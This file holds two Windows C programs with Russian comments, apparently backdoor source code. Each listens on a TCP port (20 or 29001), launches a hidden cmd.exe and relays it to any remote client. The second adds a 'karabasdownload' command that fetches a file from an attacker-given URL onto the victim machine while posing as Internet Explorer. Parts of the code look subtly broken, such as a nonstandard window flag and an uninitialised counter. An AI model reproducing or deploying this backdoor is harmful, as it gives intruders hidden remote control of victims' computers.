#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
void WINAPI fMemSet(void *szBuffer, DWORD dwLen, DWORD dwSym);// e.q memset
void WINAPI fMemCpy(LPVOID lpMem, LPVOID lpMem2, DWORD dwLen); // e.q memcpy
void WINAPI fZeroMemory(LPVOID lpMem, DWORD dwSize); // e.q ZeroMemory
/*
================
MakeShell
================
*/
DWORD WINAPI MakeShell( LPVOID lpParam )
{
DWORD dwLen;
int nTimeOut;
int iTemp;
SOCKET sock;
HANDLE cstdin;
HANDLE cstdout;
HANDLE rstdout;
HANDLE wstdin;
unsigned long lTotal;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
PROCESS_INFORMATION pi;
char szTemp[ MAX_PATH ];
static DWORD dwTemp;
char cmd[256];
sock = *( ( SOCKET * )lpParam );
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
sa.bInheritHandle = TRUE;
if (!CreatePipe(&cstdin, &wstdin, &sa, 0))
{
return 0;
}
if (!CreatePipe(&rstdout, &cstdout, &sa, 0))
{
return 0;
}
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SPOILER;
si.hStdOutput = cstdout;
si.hStdError = cstdout;
si.hStdInput = cstdin;
GetEnvironmentVariable("COMSPEC", cmd, 256);
if ( !CreateProcess(0, cmd, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi ))
{
return 0;
}
while(GetExitCodeProcess(pi.hProcess, &dwTemp) && (dwTemp == STILL_ACTIVE))
{
if (nTimeOut >= 10000)
{
break;
}
if (PeekNamedPipe(rstdout, szTemp, 1, &dwTemp, &lTotal, 0) && dwTemp)
{
for (iTemp = 0; iTemp < lTotal; iTemp += MAX_PATH - 1)
{
fMemSet( szTemp, sizeof( szTemp ), 0x00 );
ReadFile( rstdout, szTemp, MAX_PATH - 1, &dwTemp, 0 );
send( sock, szTemp, dwTemp, 0 );
}
}
if (!ioctlsocket(sock, FIONREAD , &dwTemp) && dwTemp)
{
nTimeOut = 0;
fMemSet(szTemp, sizeof(szTemp), 0x00);
dwLen = recv(sock, szTemp, 1, 0);
if (dwLen <= 0)
{
break;
}
if (*szTemp == '\x0A')
{
WriteFile(wstdin, "\x0D", 1, &dwTemp, 0);
}
WriteFile(wstdin, szTemp, 1, &dwTemp, 0);
}
nTimeOut ++;
Sleep(1);
}
CloseHandle(cstdin);
CloseHandle(wstdin);
CloseHandle(cstdout);
CloseHandle(rstdout);
closesocket(sock );
TerminateProcess(pi.hProcess, 0);
ExitThread(0);
return 0;
}
/*
================
InitShell
================
*/
DWORD WINAPI InitShell(short port)
{
DWORD dwThrId;
static SOCKET sock;
static SOCKET csock;
struct sockaddr_in sin;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock != INVALID_SOCKET) /**** здеся отваливается то есть Invalid_Socket****/
{
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
fMemSet(&( sin.sin_zero ), 8, 0x00);
if (bind(sock, (struct sockaddr*) &sin, sizeof(sin)) == 0)
{
if (listen(sock, 0x100) != SOCKET_ERROR)
{
while((csock = accept(sock, 0, 0)))
{
CreateThread(0, 0, MakeShell, (LPVOID)&csock, 0, &dwThrId);
}
}
}
closesocket(sock);
}
return TRUE;
}
void WINAPI fZeroMemory(LPVOID lpMem, DWORD dwSize) // e.q ZeroMemory
{
__asm
{
mov edi,[lpMem]
mov ecx,[dwSize]
xor eax,eax
rep stosb
}
}
void WINAPI fMemCpy(LPVOID lpMem, LPVOID lpMem2, DWORD dwLen) // e.q memcpy
{
__asm
{
mov edi,[lpMem]
mov esi,[lpMem2]
mov ecx,[dwLen]
rep movsb
}
}
void WINAPI fMemSet(void *szBuffer, DWORD dwLen, DWORD dwSym) // e.q memset
{
__asm
{
pushad
mov edi,[szBuffer]
mov ecx,[dwLen]
mov eax,[dwSym]
rep stosb
popad
}
}
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)
{
InitShell(20);
}
#include <winsock2.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib,"wininet")
#pragma comment(lib, "ws2_32.lib")
const int BUFF_SIZE = 30240;
const int PORT = 29001;
DWORD CALLBACK Thread_ShellSpawner(LPVOID lpParam);
BOOL DownloadFile(LPCSTR ServerFile, LPCSTR LocalFile);
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
struct sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(PORT);
sockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
int sockAddrLen = sizeof(sockAddr);
bind(sServer, (struct sockaddr *)&sockAddr, sockAddrLen);
listen(sServer, 1);
SOCKET sClient;
//GetSystemDirectory(szSystemDir, MAX_PATH);
while(TRUE){
sClient = accept(sServer, (struct sockaddr*)&sockAddr, &sockAddrLen);
if(sClient == SOCKET_ERROR) break;
CreateThread(NULL, 0, Thread_ShellSpawner, (LPVOID)sClient, 0, NULL);
}
WSACleanup();
return 0;
}
DWORD CALLBACK Thread_ShellSpawner(LPVOID lpParam)
{
SOCKET sock; sock = (SOCKET)lpParam;
PIPE input, output;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
/*устанавлюем аттрибуты безопасности*/
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = true;
sa.lpSecurityDescriptor = NULL;
/*Создаем пайпы*/
CreatePipe(&input.hRead, &input.hWrite, &sa,0);
CreatePipe(&output.hRead, &output.hWrite, &sa,0);
/*Заполняем структуру для вызова CreateProcess*/
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; // используем все последующие аттрибуты
si.wShowWindow = SW_SPOILER;
si.hStdInput = input.hRead; // перенаправляем ввод
si.hStdOutput = output.hWrite; // перенаправляем вывод
si.hStdError = output.hWrite; // перенаправляем вывод ошибок
char cmdpath[128]; GetEnvironmentVariable("ComSpec",cmdpath,sizeof(cmdpath));
unsigned long exit = 0, bread, avail;
DWORD N;
char buf[BUFF_SIZE];
if (!CreateProcess(cmdpath,NULL, 0,0,TRUE,0,0,0, &si, &pi))
{
CloseHandle(input.hRead);
CloseHandle(input.hWrite);
CloseHandle(output.hRead);
CloseHandle(output.hWrite);
}
bool getcommand = false;
int recvResult = 0;
for(;;)
{
GetExitCodeProcess(pi.hProcess,&exit); //while the process is running
if (exit != STILL_ACTIVE)
break;
for(;;) //get output
{
memset(buf, 0, sizeof(buf));
PeekNamedPipe(output.hRead, NULL, 0, NULL, &avail, NULL);
if((avail == 0)&&(getcommand))
{break;}
if((avail == 0)&&(!getcommand)) {goto label1;}
ReadFile(output.hRead, buf, sizeof(buf), &bread, NULL);
getcommand = true;
send(sock, buf, strlen(buf),0);
label1:
Sleep(2000);
}
if (!ioctlsocket(sock, FIONREAD , &N) && N)
{
recv(sock, buf,N, 0);
// bonus function
if (strstr(buf,"karabasdownload"))
{
char url[128];char path[128];char* pter1 = NULL; char* pter2 = NULL; char* pter3 = NULL;
pter1 = strchr(buf,' ')+1;
pter2 = strchr(pter1+1,' ');
pter3 = strrchr(buf,'"');
strncpy(url, pter1, pter2-pter1); url[pter2-pter1] ='\00';
// if (pter3) { strncpy(path,) } else
memset(path,'\0', sizeof(path));
strncpy(path, pter2+2,pter3-(pter2+2));
// MessageBox(0,url,path,0);
DownloadFile(url, path);
strcpy(buf,"echo File downloaded...\r\n");
}
WriteFile(input.hWrite, buf, N, &N, 0);
getcommand = false;
// WriteFile(wstdin, buf, 1, &N, 0);
}
//input command
// char cmnd[256];
// strcpy(cmnd, commands[i]);
// strcat(cmnd, "\n");
// WriteFile(write_stdin, cmnd, strlen(cmnd), &bread, NULL);
// i++;
Sleep(1);
//if ((sock==INVALID_SOCKET)||(sock = SOCKET_ERROR)) break;
}
closesocket(sock);
TerminateProcess(pi.hProcess,0);
CloseHandle(input.hRead);
CloseHandle(input.hWrite);
CloseHandle(output.hRead);
CloseHandle(output.hWrite);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 1;
}
BOOL DownloadFile(LPCSTR ServerFile, LPCSTR LocalFile)
{
HANDLE ih;
ih = InternetOpen("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (ih == NULL) ih = 0;
HANDLE fh, f;
char fbuff[512];
DWORD r, d, total;
fh = InternetOpenUrl(ih, ServerFile, NULL, 0, 0, 0);
if (fh != NULL) {
f = CreateFile(LocalFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
do {
memset(fbuff, 0, sizeof(fbuff));
InternetReadFile(fh, fbuff, sizeof(fbuff), &r);
WriteFile(f, fbuff, r, &d, NULL);
total = total + r;
} while (r > 0);
CloseHandle(f);
InternetCloseHandle(fh);
// MessageBox(0,"download complete!","ok",MB_OK);
return true;
}
else { return false;}
// MessageBox(0,"download failed!:(","ok",MB_OK);
}